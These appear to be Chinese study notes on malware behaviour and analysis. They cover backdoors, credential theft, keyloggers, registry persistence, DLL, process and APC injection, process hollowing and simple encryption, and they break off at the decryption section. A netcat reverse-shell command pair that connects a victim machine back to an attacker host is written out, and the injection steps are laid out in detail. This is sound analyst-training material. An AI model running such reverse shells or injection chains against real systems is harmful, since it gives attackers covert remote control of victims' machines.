恶意代码功能与应对
五、恶意代码功能
(⼀)恶意代码⾏为
1、下载器和启动器
下载器:通常会与漏洞利⽤打包在⼀起,通过调⽤URLDownloadtoFileA和WinExec两个api来实现下载并运⾏其他恶意代码
启动器:通常为可执⾏⽂件,⽤来安装⽴即运⾏或将来秘密执⾏的恶意代码,通常包含⼀段它所运⾏的恶意代码
2、后门:是攻击者远程访问受害机器
通常由⼀套通⽤的功能:操作注册表、列举窗⼝、创建⽬录、搜索⽂件等
通常也会涉及⽹络通信,最长使⽤80端⼝的http协议
(1)反向shell:从被感染的机器上发起⼀个连接,提供攻击者shell访问被感染机器的权限。攻击者能
够通过反向shell如同在本地⼀样运⾏命令
【netcat反向shell】:
远程主机输⼊:nc -l -p 80  //监视向80端⼝发送的所有消息
在被攻击的主机中执⾏:nc hostip 80 -  //将远程主机执⾏的cmd命令套接到被攻击的主机上
(这⼀步可通过编写⽊马程序实现)
【windows反向shell】:
基础⽅法:调⽤CreateProcess函数⽤隐藏窗⼝⽅式创建cmd,建⽴套接字,与远程主机建⽴连接,绑定这个套接字与cmd标准流
多线程技术:调⽤CreatePipe绑定⼀个管道的读写端,CreateProcess绑定⼀个管道与标准流,⽽不直接与套接字绑定,这样会产⽣两个线程,⼀个⽤来从标准输⼊管道读数据,并向套接字写数据;另⼀个⽤来从⼀个套接字读数据,并向⼀个标准输出管道写数据。
(2)远程控制⼯具
由客户端和服务端组成,客户端⽤于控制攻击的执⾏,服务端被安装在受害机器上,通常⽤80 443等端⼝提供服务
(Poison Ivy:远程控制⼯具,可以为实验提供样本)
(3)僵⼫⽹络
通过⼤范围感染计算机,可⽤户传播恶意代码或执⾏ddos攻击
【与远程控制的⽐较】:
远程控制⼯具只控制少数计算机,因为要与被控制计算机进⾏紧密交互,⼀般⽤来发起针对性⼯具
僵⼫⽹络会在同⼀时刻控制巨⼤规模的计算机,进⾏⼤规模攻击
3、登录凭证窃取
(1)GINA拦截
恶意代码使⽤微软图形识别和验证界⾯(GINA)拦截技术窃取⽤户登录信息
恶意代码⼯作在和msgina.dll中截获登录凭证,要实现此功能,恶意代码就必须包含GINA全部的导出函数,⼤概超过15个,前缀都为Wlx,在分析中如果看到⼤量的以Wlx为前缀的导出函数则可以判断为⼀个GINA
(2)转储⼝令哈希
通过调⽤GetProcAddress和GetHash函数来转储⼝令哈希,尤其会多次调⽤GetProcAddress函数
(3)击键记录
恶意代码通过记录⽤户击键数据,如:⽤户名、密码来窃取登录凭证
【基于内核的击键记录器】:在⽤户模式下很难探测,通常作为Rootkit的⼀部分作为键盘驱动,捕获击键
【⽤户空间击键记录器】:使⽤SetWindowsHookEx函数安装挂钩,轮询按键状态,通过配合GetAsyncKeyState识别按键是否按下且是否在最近⼀次该函数调⽤后按下,和GetForegroundWindow识别当前聚焦的前端窗⼝,捕获特定应⽤的击键记录
4、存活机制
createprocessa
(1)windows注册表
有很多⽬录可以实现这种功能
特殊的⽬录项:
【AppInit_DLL】:
此项中的Dll程序在进程加载User32.dll时加载
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost\
【Winlogon】:
可以挂钩特殊Winlogon时间,如关机、注销等,可以在安全模式下运⾏
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\
【SvcHostDll】:
将恶意代码作为服务运⾏
<程序作为⼀个实例,运⾏⼀组服务,⼀下位置包含该组:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost\
服务定义于⼀下位置
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\ServiceName
修改服务会调⽤CreateServiceA函数,可以作为关注⽅向
(2)特洛伊⽊马化系统⼆进制⽂件
修改系统⽂件函数⼊⼝点,先使运⾏跳转到恶意代码,再调回正常部分,不影响系统运⾏,常⽤⼿段:覆盖函数开始代码或覆盖⼀些不影响系统运⾏的⽂件,或者被插⼊到可执⾏⽂件的空节中
可以先查询系统⽂件MD5哈希值,如果与未被感染的不同,则将可以版本与⼲净版同时加载到反汇编程序中,⽐较DllEntryPoint函数,查看跳转位置的不同
反汇编窗⼝中可以看到pusha操作被恶意代码⽤来保存寄存器初始状态,待其运⾏后使⽤popa恢复
(3)DLL加载顺序劫持
系统中会利⽤KnownDLL注册表键可以跳过DLL的加载过程
DLL加载顺序劫持可以被system32之外⽬录中的⼆进制⽂件利⽤,来加载system32⽬录中未被KnownDLL保护的DLL程序
5、提权
使⽤SeDebugPrivilege
这⼀特权作为系统级别调试⼯具被创建,恶意代码可以⽤它来获取系统进程拥有的权限
6、隐藏⾃⾝踪迹——⽤户态的Rootkit
Rootkit会修改⽤户态的应⽤程序,但⼤部分会修改内核,因为⼤部分⼊侵防护系统都运⾏在内核层
【两种⽤户态的Rootkit】:
(1)IAT Hook
⽤挂钩⽅式将Rootkit插⼊正常代码中,执⾏完Rootkit后在转回正常代码继续执⾏,⽅式上讲只是简单修改函数指针
但这种⽅式现在已经过时且易于检测
(2)Inline Hook
通过覆盖导⼊DLL中API函数的代码来实现,所以必须等到DLL被加载后才能执⾏。这种技术会修改实际的函数代码
(⼆)恶意代码的隐蔽启动
1、启动器
也叫加载器,可以设置⾃⾝或其他恶意代码⽚段秘密运⾏的恶意代码,启动器往往在⾃⾝资源节中包含要加载的恶意代码,在执⾏这些恶意代码时,需要将这些代码从资源节中提取出来,故在分析时,经常能看到调⽤资源的API:FindResource、LoadResource、SizeofResource 等,由于启动器需要管理员权限,所以⼀些启动器也可能会包含提权代码,这也可作为分析的⼊⼿⽅向之⼀。
2、进程注⼊
这是当今最流⾏的隐藏启动的技术,这种技术往往可以隐藏恶意代码的运⾏,甚⾄可以作为绕过以进程为对象的安全机制(防⽕墙等)的⼿段,
************************************************
【可能会被调⽤的API】:
VirualAllocEx:在另⼀个进程中分配⼀块内存空间
WriteProcessMemory:向上⼀个函数分配的地址空间写数据
这两个函数是进程注⼊中不可缺少的函数
************************************************
(1)DLL注⼊
恶意代码使⽤CreateToolhelp32Snapshot、Process32First和Process32Next⼏个api函数查进程列表中的⽬标进程;
发现⽬标进城后,启动器会提取⽬标进程的进程标识符;
以提取的进程标识符调⽤OpenProcess,获取⽬标进程的句柄;
使⽤CreateRemouteThread函数执⾏注⼊,在注⼊之前,会⼀次调⽤VirualAllocEx和WriteProcessMemory为恶意动态库的名字字符串创建内存空间并将dll程序的名字字符串写⼊到这个空间,然后调⽤GetProcAddress获得LoadLibrary地址,最后执⾏注⼊
*注:CreateRemouteThread需要三个重要参数:OpenProcess函数获得的进程句柄hProcess、注⼊线程的⼊⼝点lpStarAddress、线程参数hpParameter
【处理⼿段】:
以上是注⼊⾏为,如果在反汇编时看到注⼊⾏为,就应该开始查包含恶意DLL名字和受害进程名字的字符串,它们通常在代码运⾏之前被获取,
启动器在确定受害进程的PID时,通常能在strncmp函数中发现受害进程名字,也可在能被识别的缓冲区被传到WriteProcessMemory时,转储栈,出缓冲区中的值
能够识别DLL注⼊代码的模式和受害进程名字等信息,就能分析整个恶意代码启动器的⾏为
(2)直接注⼊
同DLL注⼊原理相同,⼤多数时候被⽤来注⼊shellcode,分析时需要调试恶意代码,并在反汇编器中转储WriteProcessMemory调⽤发⽣前所有的内存缓存区。
3、进程替换
通过调⽤CreateProcess函数,并传递CREATE_SUSPENDED作为dwCreationFlags参数,创建⼀个挂起状态的进程;然后通常使⽤
ZwUnmapViewOfSection释放有参数指向的所有内存空间,解除内存映射之后,加载器通常执⾏VirtualAllocEx为恶意代码分配新空间,并借助循环结构⽤WriteProcessMemory将恶意代码的每个段写⼊到受害进程内存空间;使⽤SetThreadContext函数让⼊⼝点指向恶意代码,使其运⾏;最后调⽤ResumeThread函数,初始化恶意代码并执⾏。到此,恶意代码完全替代了受害进程,并且与被替换的进程拥有相同的特权级
进程替换会将恶意代码伪装成合法程序,绕过防⽕墙和⼊侵防御系统
4、钩⼦注⼊
恶意代码可以利⽤windows钩⼦拦截发往某个应⽤程序的消息,完成以下功能:
(1)、保证⽆论何时拦截到⼀个特殊消息,恶意代码都会被运⾏;
(2)、保证⼀个特殊DLL被载⼊到受害进程的内存空间
(1)本地和远程钩⼦
本地钩⼦被⽤来观察和操纵发往进程内部的消息;
远程钩⼦被⽤来观察和操纵发往⼀个远程进程的消息;(系统中另⼀个进程)
其中远程钩⼦分为上下两层:上层挂钩要求钩⼦例程是DLL程序的⼀个到处函数,被操作系统映射到被挂钩线程或所有线程的进程地址空间;下层则要求钩⼦⾥程被保护在安装钩⼦的进程中
(2)使⽤钩⼦的击键记录器
有两种类型:
第⼀种使⽤WH_KEYBOARD例程类型,钩⼦运⾏在远程进程上下⽂空间中,也可运⾏在安装钩⼦的进程空间中
第⼆种使⽤WH_KEYBOARD_LL例程类型,事件直接发送到安装钩⼦的进程
(3)使⽤SetWindowsHookEx
钩⼦历程可以包含处理消息也可以不处理。但⽆论如何都必须调⽤CallNextHookEx,以保证调⽤链中
下⼀个钩⼦例程能够得到消息,保证系统正常运⾏
(4)⽬标线程
恶意代码如果载⼊所有进程,会降低系统运⾏速度,出发⼊侵防御系统,通常会选择注⼊单个线程的⽅式保持其隐蔽性
指定单线程为⽬标,要求查进程列表中的⽬标进程,如果⽬标没有运⾏,恶意代码就要县启动它,这个时候恶意代码往往不会挂钩经常使⽤的windows消息,以避免出发⼊侵防御系统,⽽是使⽤⼀个不常使⽤的消息,如:WH_CBT
5、Detours
恶意代码可以使⽤Detours库来添加⼀个新的DLL到硬盘上的⼆进制⽂件。通常,恶意代码修改PE结构,并且创建⼀个名为.detour的段,通常位于导出表和调试符号之间,这个段在新的导⼊地址表中包含了原始的PE头部。可以修改PE头,使其指向新的导⼊表
6、APC注⼊
APC即Windows异步过程调⽤,可以调⽤⼀个现有线程,恶意代码可以使⽤这种⽅式使⽤远程进程中的函数⽽不必增加系统开销,以免出发⼊侵防御系统
APC可以让⼀个线程在它正常的执⾏路径运⾏之前执⾏其他代码,每个线程都有⼀个附加的APC队列,它们在线程处于可警告的等待状态是被处理
如果应⽤程序在线程可警告等待状态时排⼊⼀个APC队列,线程将从调⽤APC函数开始,逐个调⽤APC队列中的所有APC,当队列完成时,线程才继续执⾏
APC存在形式:(1)为系统或驱动⽣成的内核模式APC;(2)为应⽤程序⽣成的⽤户模式APC
注意WaitForSingleObjectEx、WaitForMultipleObjectEx、SleepEx⼏个函数,可⽤来处理等待APC
(1)⽤户模式APC注⼊
⽤户模式的APC要求线程必须处于可警告等待状态,这个时候可以使⽤QueueUserAPC函数排⼊⼀个让远程线程调⽤的函数,这个函数有三个参数:pfnAPC、hThread、dwDtata。具体实现是⽤句柄为hThread的线程使⽤参数dwData运⾏pfnAPC中指定的函数
(2)内核模式APC注⼊
恶意代码驱动和Rootkit有时候也需要在⽤户空间执⾏代码,常常在内核空间执⾏APC注⼊,创建⼀个APC,然后分配给⽤户模式进程中的⼀个线程
主要使⽤两个函数:KeInitializeApc和KeInsertQueueApc
先使⽤前者调⽤初始化⼀个KAPC结构并传递给后者,以将APC对象放在⽬标线程相应的APC队列中
(三)数据加密
1、恶意代码加密的⽬的:
隐藏配置信息(命令和控制服务器域名);
窃取信息之前将它保存到⼀个临时⽂件;
存储需要使⽤的字符串;
隐藏必要信息伪装称为合法⼯具;
2、简单的加密算法
(1)凯撒密码
简单的移位来达到隐藏信息⽬的
(2)XOR
将明⽂与某个特定密钥字符执⾏逻辑异或运算进⾏加密;c=a^b;//加密
解密是再将密⽂与之前选定的密钥进⾏逻辑异或运算得到明⽂;c=c^b;//解密
*c语⾔中的逻辑异或运算符为“^”;
通常还有⼀种加密做法——保留NULL的加密,即当明⽂字符不为NULL和密钥时,才执⾏逻辑异或运算,否则跳过
*使⽤IDA分析时,可以忽略xor eax,eax指令,这是清空寄存器的⼀种⽅式;同时注意,xor通常与循环结构共同构成简单加密函数;
(3)Base64
将⼆进制数据转化成64个字符的有限字符集,并且加密后的数据长度可以被四整除,通常不⾜部分⽤⼀个额外字符填充,通常是“=”;
3、常见的加密算法
(1)识别字符串和导⼊
恶意代码使⽤标准加密算法,当加密库(如openSSL)被静态编译时,会出现相关字符串;可以通过识别涉及加密算法使⽤的字符串到破解⽅法
⼀些标准加密算法会使⽤哈希,密钥⽣成或加密相关服务的导⼊函数,微软涉及加密的函数都已Crypt、CP、Cert为前缀
(2)查加密常量
使⽤可以搜索常见机密常量的⼯具,如IDA的FindCrypt2和Krypto ANALyzer插件
(3)查⾼熵值内容
可以使⽤IDA的idaentropy-plugin插件
4、⾃定义加密
恶意代码编写者可以组合多个简单加密算法或⾃⼰定义⼀个类似于标准加密的算法
(1)识别⾃定义的加密
对于⽆法通过上述⽅法破解的算法,可以跟踪其输⼊输出,⼀般加密会出现在输出之前,⽽解密发⽣在输⼊之后
5、解密
查并分离出加解密函数后,有两种基本⽅法重现恶意代码的加密或解密:

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。